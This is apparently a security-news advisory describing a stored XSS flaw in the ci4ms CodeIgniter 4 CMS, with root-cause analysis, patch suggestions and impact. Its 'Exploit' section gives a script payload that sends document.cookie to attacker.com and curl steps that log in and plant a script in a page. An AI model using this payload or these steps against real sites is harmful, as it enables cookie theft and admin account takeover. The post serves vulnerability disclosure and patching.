Listen to this Post
How the mentioned CVE works (around 20 lines):
The vulnerability resides in the `html_purify` validation rule of ci4ms (CodeIgniter 4 CMS). The rule is defined in `modules/Backend/Validation/CustomRules.php:54` and accepts its argument by reference (&$str). However, CodeIgniter 4’s `Validation::processRules()` passes a local copy of the POST value to the rule. Even though the rule mutates the reference, only the local copy is updated; the original `$_POST` array remains unchanged. No controller ever calls `CustomRules::getClean()` to retrieve the sanitized value. In the Pages module (modules/Pages/Controllers/Pages.php), the `create()` and `update()` methods attach `html_purify` to `lang..content` (lines 82 and 130) but then directly insert the raw POST data into the database (lines 111 and 157). The stored payload resides in pages_langs.content. The public `Home::index()` controller fetches this row and passes it to app/Views/templates/default/pages.php:32, which echoes `$pageInfo->content` without `esc()` – no HTML sanitization. Because pages can be promoted to the site home page (Pages::setHomePage), the XSS can be served at `/` to every visitor. An attacker with only `pages.create` permission (non-admin content author) can inject arbitrary JavaScript. When an administrator views the public page, their backend session cookie is exfiltrated, allowing full admin account takeover.
dailycve form:
Platform: ci4ms
Version: Unknown
Vulnerability: Stored XSS
Severity: Critical
date: 2026-05-18
Prediction: 2026-06-01
What Undercode Say:
Identify vulnerable endpoint
curl -k -I https://target/backend/pages/create
Grep for raw output in view
grep -r "echo \$pageInfo->content" app/Views/templates/
Check validation rule registration
grep -A2 "html_purify" modules/Pages/Controllers/Pages.php
Verify missing sanitization before insert
awk '/create(.pages_langs/,/content/ {print}' modules/Pages/Controllers/Pages.php
Exploit:
// PoC payload for lang[bash][bash]
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step-by-step curl
curl -k -c cookies.txt -X POST https://target/login -d '[email protected]&password=pass'
curl -k -b cookies.txt -X POST https://target/backend/pages/create -d 'lang[bash][]=XSS' -d 'lang[bash][seflink]=xss' -d 'lang[bash][content]=<script>alert(1)</script>' -d 'isActive=1'
curl -k https://target/xss Triggers stored XSS
Protection from this CVE
- Replace raw insert with `CustomRules::sanitizeHtml()` in `Pages::create()` and
Pages::update(). - Escape output: change `content ?>` to
<?= esc($pageInfo->content) ?>. - Remove the broken reference-mutation pattern; rewrite `html_purify` to return sanitized string via
getValidated().
Impact
- Stored XSS on every public page, including home (
/). - Full admin session takeover via cookie exfiltration.
- Privilege escalation from content author to administrator.
- Persistent until malicious page is manually deleted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

